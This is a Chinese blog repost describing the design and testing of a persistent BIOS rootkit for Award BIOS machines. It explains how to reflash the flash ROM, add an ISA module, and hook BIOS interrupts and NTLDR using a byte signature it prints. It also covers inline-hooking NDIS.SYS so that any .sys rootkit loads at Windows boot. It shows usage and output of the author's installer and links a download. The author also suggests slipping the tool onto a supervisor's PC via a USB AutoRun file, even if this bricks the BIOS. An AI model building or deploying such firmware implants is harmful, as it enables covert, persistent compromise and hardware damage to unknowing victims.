天天看點

BIOS Rootkit:Welcome home,my Lord!

來源:安全焦點

[Author ]: Icelord

[Contact]: [email protected]

[Data ]: @2007/04/26->...

本文介紹一個簡單BIOS rootkit的簡單設計過程

意在抛磚引玉,期待高手們指點

其中涉及的幾篇文字均可在blog.csdn.net/icelord上找到

http://blog.csdn.net/icelord/archive/2007/05.aspx

[申明]

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

本文所涉及到的資料,均來自internet...

由此造成的後果,與本人無關

假設您已經了解x86和NT的相關知識。

内容僅為個人意見。由于時間倉促,很多細節沒有驗證,錯誤很多。

如果您有不同意見,可聯系[email protected],歡迎指正。

[前言]

這是很早的一個想法了。//那是去聽一位講TPM,很長篇的,

打瞌睡,于是想怎麼破壞那種限制(在一定條件下),自然而然想到了BIOS Coding,

後來就轉化為BIOS Rootkit...

[國内外發展狀況]

ACPI BIOS Rootkit

PCI Module BIOS Rootkit

CPU Micro Code...???

times 3K db 0 ;這裡省略3K Bytes

[rootkit定義]

google yourself

[BIOS介紹]

[BIOS RootKit的優缺點]

很明顯

[IcLord BIOSRootkit的組成]

下面的方法很笨拙,但是我的目的隻是讓它能運作起來...

如果您有好的方法,歡迎指點/交流

(1).Flasher

(2).BIOS Module

(3).Bootstrap

(4).NT RootKit //?

[問題]

(1).植入

如何将rootkit植入到BIOS中...

(2).啟動

如何在啟動的過程中執行rootkit的指令...

(3).切換

BIOS在OS之前運作,要想啟動OS,需要将CPU控制交還到BootLoader。

此時,CPU處于RealMode,沒有多任務,沒有VM...

那麼,如何使得我們的RootKit再次擷取CPU?...

(4).RootKit實體

怎樣實作Rootkit的功能:hide,shell...

[解決方法]

[流程]

ISAModule-->hook BIOS int svc,

進而在int svc中再Hook NTLDR!OsLoader.EXE,

在NTLDR!OsLoader.EXE中再進行kernel subversion

hehe,看起來很簡單,實際遇到的問題那可是相當麻煩啊,follow me,逐個解決

[目标]

該程式能啟動.sys類型的存在的rootkit,也就是能在NT作業系統中啟動.sys(<64KB)檔案...

BIOS RootKit本身要實作安裝.sys到BIOS中,并在PC啟動時使該.sys在特定的作業系統下生效

一、如何将代碼植入到BIOS中

将制定的代碼植入到BIOS中,并且在BIOS初始化的末尾獲得運作的機會。

[solution?]

将代碼植入到BIOS,需要解決以下問題:

(1).如何修改BIOS,添加自己的代碼

(2).如何重新整理BIOS

//預備知識:

//

//BIOS(Basic Input/Output System)負責初始化各種硬體,Provide Runtime Service,并負責加載并執行BootSector,

//将CPU轉交OSLoader。目前BIOS Provider主要為Phonix-Award,AMI好像很少(至少在我這裡)。

//BIOS存儲在FlashROM中。

//FlashROM(快速隻讀存儲器)是目前主機闆、顯示卡的BIOS程式的主要存儲媒體。

//FlashROM在一般情況下為隻讀,寫無效,即裡面存儲的資料無法被修改,而且斷電之後資料仍然儲存。

//FlashROM一般為位元組讀取,扇區/塊擦除,byte/sector/page/bulk Program。

//BIOSROM影射在記憶體的高端。為防止程式運作時的記憶體寫入破壞BIOS,一般FlashROM都軟體和硬體保護。

//FlashROM一般連接配接在南橋的LPC(Low Pin Count)總線上,南橋晶片有不同的寄存器來控制FlashROM的WE和解碼。

//[SST 49LFxxx系列的重新整理問題]

// 我不知道SST應用是否廣泛,但至少我這裡有幾台機器都是 SST 49LFXXX系列的FlashROM

//

// 例如,SST 49LFxxx系列FlashROM,這種FlashROM提供SDP(Software data protect)和HDP(Hardware Data protect).

// 要對FlashROM寫入,需要向FlashROM的特定位置發送特定的指令序列,而且TBL#(Top Boot Lock)和WP#(Write Protect)。

// 除此之外,還需要設定ICH的BIOS_CNTL和LPC_DEC_EN寄存器...(對ICH4晶片...),Firmware Hub的Block Locking register...

//[PCI配置寄存器的知識和問題]

// 不同的主機闆晶片需要不同的設定,不同的FlashROM需要不同的重新整理方法,具體需要看相關的DataSheet和Specification.

BIOS是分子產品的固件程式...

[Award BIOS 6.00PG(2Mb)的結構]

見<<awdBIOS 鏡像結構簡單分析>>

http://blog.csdn.net/icelord/archive/2007/05/11/1604122.aspx

[Award 2M BIOS src分析]

brief:隻是為了了解初始化流程

見<<awdBIOS 2M Src簡單分析>>

http://blog.csdn.net/icelord/archive/2007/05/11/1604133.aspx

[加入ISA子產品和Hook問題]

見<<加入ISA子產品和Hook問題>>

http://blog.csdn.net/icelord/archive/2007/05/11/1604151.aspx

見<<awdBIOS 資料結構>>

http://blog.csdn.net/icelord/archive/2007/05/11/1604156.aspx

[效驗和問題]

怎樣修複添加子產品後的BIOS的效驗和?

見<<關于BIOS效驗和的問題>>

http://blog.csdn.net/icelord/archive/2007/05/11/1604179.aspx

[重新整理的問題]

[UniFlash源碼分析]

很好的開源軟體,

見<<UniFlash簡單分析>>

http://blog.csdn.net/icelord/archive/2007/05/11/1604188.aspx

[WinFlash的簡單分析]

win平台的AWD BIOS重新整理程式,IDA一下,看看它究竟怎麼重新整理...

見<<WinFlash_AwdFlash簡單分析>>

http://blog.csdn.net/icelord/archive/2007/05/11/1604209.aspx

[關于輔助驅動]

在NT下重新整理BIOS需要讀寫實體記憶體和/或IO端口,那麼怎樣快速的讀寫實體記憶體和/或IO端口。

見<<讀寫實體記憶體和IO端口>>

http://blog.csdn.net/icelord/archive/2007/05/11/1604229.aspx

[實際測試方法]

至少應該有兩台相似的機器,即FlashROM相同(可拆卸的那種),BIOS相同,以確定在重新整理失敗後迅速恢複。

你也可以使用BootBlock的功能,用軟碟恢複,不過試驗時讀盤之後就沒了反應...

之後你就可以從ISA子產品開始測試了。

[問題多多]

[complex hardware environment]

[diferent bios vendor & version]

二、如何在BIOS/OsLoader中啟動Rootkit

将ring0/ring3 Rootkit隐藏于 BIOS中,并且能夠在使用者選擇作業系統之後開始工作。

Rootkit以驅動(ring0 okay以後,ring3應該更簡單)的形式存在(其實就是嵌入到 BIOS中)。

[目前狀态]

Location: BIOS Module

Seq: BIOS POST Section...

state: 16Bit Real Mode

先看一下x86 PC/(using awdbios)初始化流程

>...

>BIOS_memsizing..

>XXXX (uncared...)

>ISA/PCI Module Init

>Int 0x19

>MBR

>PBR(obr?)

>Ntldr

>KernelImage/Drivers

這時,我們已經能夠在實模式下執行代碼了,而且有BIOS服務可以使用(???)。此時

作業系統還沒有啟動,沒有檔案系統,我們的目标是在作業系統支援下的一個特殊Shell

程式,是以我們需要放棄CPU将控制轉交到BIOS,使之完成正常初始化。那麼如何使我們的

代碼再次獲得CPU(被運作)?

(1).寫檔案

就是将需要運作的代碼寫入到磁盤檔案中(OS 需要且會執行的檔案),OS在啟動中

再運作此檔案,進而擷取執行的機會。

很明顯,此方法很複雜,需要很多特殊的環境,特别是檔案系統的操作...

(2).Hook

老方法:Hook BIOS代碼,再在hook代碼中進行多級Hook,進而在運作loader時重新擷取執行

的機會。

這個方法現在很流行...

注:Nt Loader在啟動中,将使用BIOS服務來讀取所需的磁盤資料,是以直接Hook BIOS服務即可

實作對 Loader的Hook,獲得再次執行的機會。

在BIOS ISA子產品中,可以使用BIOS服務(E8_POST?)//此處沒有作深入的測試

在測試中直接在ISA ROM Init 階段Hook int 13h失敗,是以采用了Hook int 0x19-->hook int 0x13

的方式,比較羅嗦,但是可以将就着用...

[NTLDR分析]

已經有高人分析過了,但是沒看懂,自己按需要記錄了一下,需要知道流程:

見<<NTLDR.分析筆記>>

http://blog.csdn.net/icelord/archive/2007/05/11/1604312.aspx

[Signature Code的确定]

見<<x HookCode的選擇>>

http://blog.csdn.net/icelord/archive/2007/05/11/1604320.aspx

首先要確定能hook使用者選擇的作業系統,是以要Hook的代碼應該位于KeSelectKernel()函數之後

其次,當我們Hook的代碼運作時,作業系統核心和BootDriver應已經加載到記憶體,這樣就會友善

我們進一步Hook Kernel或者BootDriver,實作向VM32下的切換。要滿足這個條件,要Hook的代碼應該

在'BlLoadImage(NTOSKRNL)'之後了.

其實很簡單。直接從Osloader将控制轉交到NTOSKRNL.EXE處開始向前查找即可

即從代碼(SystemEntry)(BlLoaderBlock);之前查找。

考慮到相容性的問題,即如何适應不同版本的 OsLoader.

簡單想法是查找CPU控制寄存器相關的指令來Hook,因為通用寄存器很難找到三個版本通用的Hook指令。

但是Turn On Paging時肯定會用到CR0(/CR3)寄存器。是以直接查找'mov eax,cr0'之類的指令,看是否

三個版本的OSLOADER.exe中是否有相同的代碼。hehe,運氣不錯,在BlSetupForNT()中找到了三個OSLoader.exe

都存在的指令,可以說是童叟無欺,基本可用。

代碼如下:

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

[Ref_nt4: \boot]

// Mapped hardcoded virtual pointer to the boot processors PCR

// The virtual pointer comes from the HAL reserved area

// First zero out any PTEs that may have already been mapped for

// a SCSI card.

RtlZeroMemory(HalPT, PAGE_SIZE);

_asm {

mov eax, cr3 //拿CR3開刀,hehe

mov cr3, eax

}

HalPT[(KI_USER_SHARED_DATA - 0xFFC00000) >> PAGE_SHIFT].PageFrameNumber = PCR+1;

HalPT[(KI_USER_SHARED_DATA - 0xFFC00000) >> PAGE_SHIFT].Valid = 1;

HalPT[(KI_USER_SHARED_DATA - 0xFFC00000) >> PAGE_SHIFT].Write = 1;

RtlZeroMemory((PVOID)KI_USER_SHARED_DATA, PAGE_SIZE);

三個版本的Osloader.exe中斷彙編代碼如下:

windows 2000 pro

AssembleCode:

.text:0031F244 010 mov edi, ds:dword_357670

.text:0031F24A 010 mov esi, 400h

.text:0031F24F 010 mov ecx, esi

.text:0031F251 010 xor eax, eax

.text:0031F253 010 rep stosd

.text:0031F255 010 mov eax, cr3

.text:0031F258 010 mov cr3, eax

.text:0031F25B 010 mov eax, ds:dword_357670

.text:0031F260 010 mov ecx, ds:dword_3324B0

HexCode:

8B 3D 70 76 35 00

BE 00 04 00 00

8B CE

33 C0

F3 AB

0F 20 D8

0F 22 D8

A1 70 76 35 00

8B 0D B0 24 33 00

---------------------------------------------------------------------------

windows xp sp2

.text:00428D81 018 mov edi, dword_46A410

.text:00428D87 018 mov ebx, 400h

.text:00428D8C 018 mov ecx, ebx

.text:00428D8E 018 xor eax, eax

.text:00428D90 018 rep stosd

.text:00428D92 018 mov eax, cr3

.text:00428D95 018 mov cr3, eax

.text:00428D98 018 mov eax, dword_46A410

.text:00428D9D 018 add eax, 7C0h

8B 3D 10 A4 46 00

BB 00 04 00 00

8B CB

A1 10 A4 46 00

05 C0 07 00 00

windows 2003 sp0

.text:0042C6BD 018 mov edi, dword_471B90

.text:0042C6C3 018 mov ebx, 400h

.text:0042C6C8 018 mov ecx, ebx

.text:0042C6CA 018 xor eax, eax

.text:0042C6CC 018 rep stosd

.text:0042C6CE 018 mov eax, cr3

.text:0042C6D1 018 mov cr3, eax

.text:0042C6D4 018 mov eax, dword_471B90

.text:0042C6D9 018 add eax, 7C0h

8B 3D 90 1B 47 00

A1 90 1B 47 00

Signature Code:

------------------------------------------------

8B 3D ** ** ** ** ;mov edi,dword [addr]

** 00 04 00 00 ;mov reg,0x400

8B ** ;mov ecx,reg

33 C0 ;xor eax,eax

F3 AB ;rep stosd

0F 20 D8 ;mov eax,cr3

0F 22 D8 ;mov cr3,eax

A1 ** ** ** ** ;mov eax,dword [addr]

finally:

code={33 c0 f3 ab , 0f 20 d8 0f , 22 d8 a1}

dword:0xabf3c033,0x0fd8200f,0x??a1d822

or

33

c0 f3 ab 0f,20 d8 0f 22,d8 a1

haha,隻要在int 0x13中hook上面所示的代碼,即可在使用者選擇作業系統,并且OsLoader.exe

加載了核心和BootDriver之後獲得執行的機會.那時,你可以再次任意hook Kernel。

為什麼搞的這麼麻煩?因為我的目的是加載一個額外的驅動。這要求在BootDriver初始化開始時才

運作的.

三、切換

當運作到這裡時我們處于32Bit PM,Paging的狀态下。

EIP位于BlSetupForNt()函數中...,Ntoskrnl.exe>0x8000 0000的位置

[可否利用OsLoader的内建驅動來寫檔案?]

這個問題見<<NTLDR内建檔案系統驅動分析>>

http://blog.csdn.net/icelord/archive/2007/05/11/1604350.aspx

和<<關于在OsLoader.exe中寫檔案的問題>>

http://blog.csdn.net/icelord/archive/2007/05/11/1604360.aspx

[BootBlock問題]

怎樣确定核心子產品的加載位置?

要Hook kerel或者其它驅動,首先要能夠确定這些子產品在記憶體中的位置。從上面的Ntldr分析和

在2K_SRC中可以了解到這樣一個變量BlLoaderBlock,在這個變量中能夠擷取很多資訊,包括加載的

子產品資訊連結清單/記憶體資訊連結清單(見NTLDR分析)。那麼,怎樣才能找到一個确定BlLoaderBlock的位置的方法,

而且使得它在三個版本的Osloader.exe中通用?

(1).可以使用寫死,不同版本的Osloader應該很容易判斷,不同的osloader的BlLoaderBlock使用經驗

位址即可。

(2).使用堆棧。這種方法比較巧妙。

由于在OSLoader.exe中很多函數使用了bp-based的函數,即:

...

push ebp

mov ebp,esp

sub esp,xxx

是以,

caller's ebp等于*ebp,如下圖

+-----------+ [Low Memory]

| local var |

+-----------+

| ebp +---+

+-----------+ | current stack/me

| ret_addr | | ________________________

+-----------+ |

| arg0 | |

| arg1 | |

| argn | |

| ... | |

| local_var | |

| ebp |<--+

+-----------+ caller/father_proc

| ret_addr | __________________________

| arg0 |

| arg1 |

| |

+-----------+ [High Memory]

[BP Based Stack Frame]

(有點像入門教程了,hehe)

是以(*ebp+0x8)-->caller's 1st params

(*ebp+0xC)-->caller's 2st params

這樣就可以逐級擷取caller的參數。

通過分析NTLDR可以發現如下的call path..

BlOsLoader(9,Argv,NULL);

+-->BlSetupForNt(BlLoaderBlock);

+-->OutHookCode here!!!

說到這裡,應該很明顯了...(你可以通過這個方法擷取NtProcessStartup()的參數BootContextRecord...??/uncared)

---------------------------------------

還有一種方法就是應用在call指令中

call func_addr

那麼就可以通過堆棧中的ret_addr取得這條指令位址以及func_addr,hehe,簡單

<<>>

[保留記憶體映射問題]

怎樣確定自己在影射的記憶體範圍内?按照正常的思路,我們的RootKit将被影射到0x80000000+physAddr.

但是,當使用保留記憶體的時候,這樣的的做法并不可行。在實驗中,初始化時将自己拷貝到了保留記憶體中,

NTOSKRNOL進行BootDriver初始化時跳轉運作,藍屏,罵之,再藍屏...

超過4個小時的Win2K/BOCHS安裝,将hook Code該為0xeb 0xfe,中斷,察看虛拟記憶體,

發現保留的記憶體沒有影射(即640KB的附近區域)。試了好久,沒辦法,暫時有兩種方法:

(1).在BlSetupForNT()中,将自己拷貝到其他區域

(2).修改BlLoaderBlock中的記憶體連結清單

這種方法比較簡單,記憶體連結清單中的每塊記憶體都有屬性,隻需要修改記憶體塊的屬性,即可讓Ntoskrnl在初始化時映射

指定的記憶體區域(到0x8xxx xxxx)。

見<<保留記憶體影射問題>>

http://blog.csdn.net/icelord/archive/2007/05/11/1604362.aspx

[NDIS.SYS Hook的問題]

怎樣Hook?怎樣確定relocate/remap之後仍然有效?

開始打算Hook Ntoskrnl.exe,後來決定不妥,我們隻需要一個能初始化驅動的機會,

是以就hook ndis,在ndis初始化之後再初始化自己的rootkit驅動。

這樣做的問題是如何讓NDIS.SYS初始化之後初始化自己的驅動。

首先我們的可以知道驅動所在的實體記憶體,正常計算,加上2G,得到虛拟位址。我們的hookCode也會跳到這個位置。

但是,NDIS.SYS初始化時會重新映射到0xFxxx xxxx的位置,會進行重定位。

将你的hookCode該為0xeb 0xfe,再截斷ntoskrnl.exe,你就會發現這一點。

是以不能直接修改BlLoaderBlock裡面對Module的EntryPoint域來達到Hook。

實際中使用了 inline hook,這樣我們可以擷取ndis.sys的初始化參數DriverEntry(pDroverObject,pStr_RegPath)

部分資訊見<<Hook NDIS.SYS入口問題>>

http://blog.csdn.net/icelord/archive/2007/05/11/1604369.aspx

[怎樣初始化自己的Driver/Rootkit(.sys)]

部分見<<BootDriver初始化流程>>

http://blog.csdn.net/icelord/archive/2007/05/11/1604387.aspx

驅動的初始化很簡單,在<<do all in one exe file>>一文中有詳細的介紹

http://blog.csdn.net/icelord/archive/2007/05/11/1604086.aspx

這裡使用相同的手法.

有些rootkit要Hook Ndis,是以在這裡我們先讓NDIS.SYS初始化,然後再初始化我們自己的驅動。

因為在跳轉到我們自己的代碼時可以通過[BootBlock問題]section所示的方法,擷取

NDIS.SYS在初始化後的EntryPoint和params,直接把它的 DriverEntry()當作普通函數來調用即可。

然後,再初始化自己。

至于如何加載.sys檔案并展開到記憶體重定位之類的,網上有很多資料,在<<do all *>>裡面也有介紹。

見<<do All In One Exe File>>

四、RootKit實體

至于rootkit,可以根據自己的需要随便寫一個.sys檔案即可

[擴充]

也可以再次hook ndis,例如hook NDIS_OPEN_BLOCK/NDIS_PROTOCOL_BLOCK之類的,作一個簡單shell

或者更簡單點點,釋放一個exe

或者利用APC來插入自己的ring3 code到任何一個線程...

五、應用

寫了一個簡單的demo

利用此demo,可以将任何<32KB(其實是27KB)的.sys嵌入到AWD BIOS 6*中,并在PC啟動時運作,

如果進入NT系統,則會在BootDriver初始化過程中運作(IopInitializeBootDrivers階段)

(确切的說是自NDIS.SYS初始化之後運作)。

測試過的環境:

p4 1.7G 256RAM i845 SST49LF002A(2M) FWH AWD BIOS 6.00PG

p4 3.2G 512RAM i9xx SST49LF004A(4M) FWH AWD BIOS 6.00PG

Athlon 2500+ 768RAM Via KT600(?) WinBond xxx(4M) AWD BIOS 6.00PG

至于其它奇機器,沒條件試

怎麼使用:

如果看上司不爽的話,将 iclord.exe置U盤中,寫一AutoRun.INF,待上司用時殷勤獻上...

hehe,可以出出氣了,成功的話最好,不成功的話,也能讓他忙N天吧..(刷壞的BIOS,而且 FlashROM焊死到了主機闆上)

-----------------------

格式:

x:\>iclord.exe /install 123.sys

下面是測試結果:

Microsoft Windows 2000 [Version 5.00.2195]

(C) 版權所有 1985-1998 Microsoft Corp.

C:\>iclord

ICLord BIOS Rootkit [v8.0 test version]

------------------------------------------------------------------------------

>>>>test only!!!<<<<

Usage:

/? show this help.

/dump [bios_p_w_picpath_name] show info & dump bios p_w_picpath to specific file.

bios p_w_picpath is auto saved as OrigBios.ROM

/install [new_payload] install ICLord BIOS Rootkit[UsingSMIflashing].

/installex [new_payload] install ICLord BIOS Rootkit[NotUsingSMI...].

/view_mem base dump physical memory content.

/info show some hardware info...

/dump_ex Generate 'BIOS Image with Payload Included'

From Naive BIOS Without Flash...

/cbrom_ BiosImage /isa xxx... this is a Lite CBROM,[to be ...] hehe

/flash BiosImgeFile Flash BIOS Image File to BIOS ROM.

Make Sure that bios p_w_picpath is valid!!!!.

Original BIOS ROM is AutoSaved as 'OrigBios.ROM'.

New BIOS is AutoSaved as 'NewBios.ROM'.

C:\>iclord /install protextor.sys

Write 97E Bytes...

Write 40000 Bytes...

Name:6A69VM4H.BIN Type:50000000 Offset: 0 ModuleSize:12AE2

Name:awardext.rom Type:407F0000 Offset: 12AE4 ModuleSize:96C8

Name:CPUCODE.BIN Type:40010000 Offset: 1C1AD ModuleSize:1024

Name:ACPITBL.BIN Type:40030000 Offset: 1D1D2 ModuleSize:17BB

Name:AwardBmp.bmp Type:40020000 Offset: 1E98E ModuleSize:30C

Name:_EN_CODE.BIN Type:40290000 Offset: 1EC9B ModuleSize:1396

Name:ANTI_VIR.BIN Type:40070000 Offset: 20032 ModuleSize:14AB

Name:cafe.bmp Type:40000000 Offset: 214DE ModuleSize:492E

Decompress okay...!!!

SystemBIOS CRC:AC36

BIOS Version:Award Modular BIOS v6.00PG

BIOS Info:10/09/2001-i845-W627HF-6A69VM4HC-00

BIOS ID:6A69VM4Hd Modular BIOS v6.00PG

erorr @ load_file()...

error @ load new payload!!

Error @ ReplacePayload!!

C:\>iclord /install protector.sys

Write 8000 Bytes...

crc8_ex()=0xE9

crc8_ex()=0x31

................................................................

Checking BIOS ...

BIOS Check Okay!!!>>>>>>

C:\>iclord /info

Name:leaving.bin Type:40A40000 Offset: 25E0D ModuleSize:12C5

注:

(1)protector.sys是一個rootkit(我也不知道是幹什麼的,從rootkit.com上下載下傳的,

會建立一個\\Device\\Protector的裝置...用自己的驅動檔案IO_HLPER.SYS也測試

成功)

(2)觀察BIOS子產品,多出來的leaving.bin就是我們的bootstrap,ISA Module...

是整個rootkit的主體。

再次啟動機器時,進入Windows後,用winobj檢視,就可以發現\\Device\\protector這

個裝置.

如果需要檢視詳細資訊

可以按F8選擇*安全模式,這樣leaving.bin的資訊會在NT啟動過程中顯示在螢幕上

(使用了0xB8000來顯示,是以正常啟動時(VESA模式)看不到)

測試過三個系統:

>win2k sp0 with SST49LF002A

>winxp SP2 with SST49LF002A

>win2003 SP0 with SST49LF004A

-----------------

下面測試的leaving.bin,通過,沒有用icelord.exe來測試..

(tools:winflash+cbrom215.exe,payload = leaving.bin)

>winxp SP2 with with winbond xxx(512KB 6.00PG)

本來打算寫個預設的NDIS BackDoor,不過有些問題沒有解決,就拿protector.sys當作默

認的payload了...

待高手指點。

注:

leaving.bin為ISA子產品,使用NASM和DJGPP編寫,可附加小于27KB的.sys檔案(其實

可以為64KB total,暫時用0x8000大小)

iclord.exe内嵌驅動IO_HLPER.SYS和Leaving.bin...

很簡單吧?

六、總結

由于PC機的硬體和軟體環境複雜,這樣的RootKit隻能在一部分機器上跑。

加上新的EFI應用,Vista的推廣,立足之地那是少的可憐...

其實你可以把rootkit做成虛拟機,讓NT跑在虛拟機之上,開個玩笑...

七、參考/thanks

[Rference]

a lot...enum @ blog.csdn.net/icelord

[Thanks]

八、Demo下載下傳

估計看到這裡也沒明白是怎麼回事的人很多吧...

沒辦法,本人國文水準就這樣,"這輩子就吃了沒文化的苦了"...

如果您有不同見解,mail to:[email protected]

下載下傳頁面:

http://blog.csdn.net/icelord/archive/2007/05/11/1604796.aspx

繼續閱讀